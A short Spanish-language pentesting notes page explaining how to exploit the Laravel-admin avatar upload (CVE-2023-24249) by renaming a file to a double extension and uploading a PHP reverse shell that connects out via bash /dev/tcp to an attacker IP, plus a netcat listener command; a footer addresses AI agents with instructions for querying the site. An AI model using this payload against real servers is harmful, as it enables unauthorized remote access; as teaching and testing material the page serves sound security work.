> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# Subida de archivos PHP

## Carga de archivos (Laravel-admin)

En la aplicación Laravel-admin, una sección permite subir un avatar. Aprovechando esta función, podemos enviar un archivo malicioso para obtener acceso no autorizado al servidor.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/0d2f54cb46fe18c593b05ac96f412fa65d00d36c" alt=""><figcaption></figcaption></figure>

### **Pasos de explotación:**

1. **Interceptar y modificar el archivo del avatar**:
   * Intercepta la solicitud con Burp Suite.
   * Modifica los valores de la variable `filename` para añadir la extensión PHP después de un archivo de imagen falso, por ejemplo: `hack.jpg.php`.

<figure><img src="/files/a97206dacd20b1205db6a59da103518911022177" alt=""><figcaption></figcaption></figure>

* El contenido del archivo debe ser una reverse shell, como por ejemplo:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/cb8f19d07a52e4b70957ba7589924cf46bd6d97d" alt=""><figcaption></figcaption></figure>

**Inicia un listener con Netcat**:

* Inicia el listener en el puerto 443 con Netcat:

```bash
nc -nlvp 443

```

<figure><img src="/files/ac15f80f68b88a08a77e356734c7772e88e203e3" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
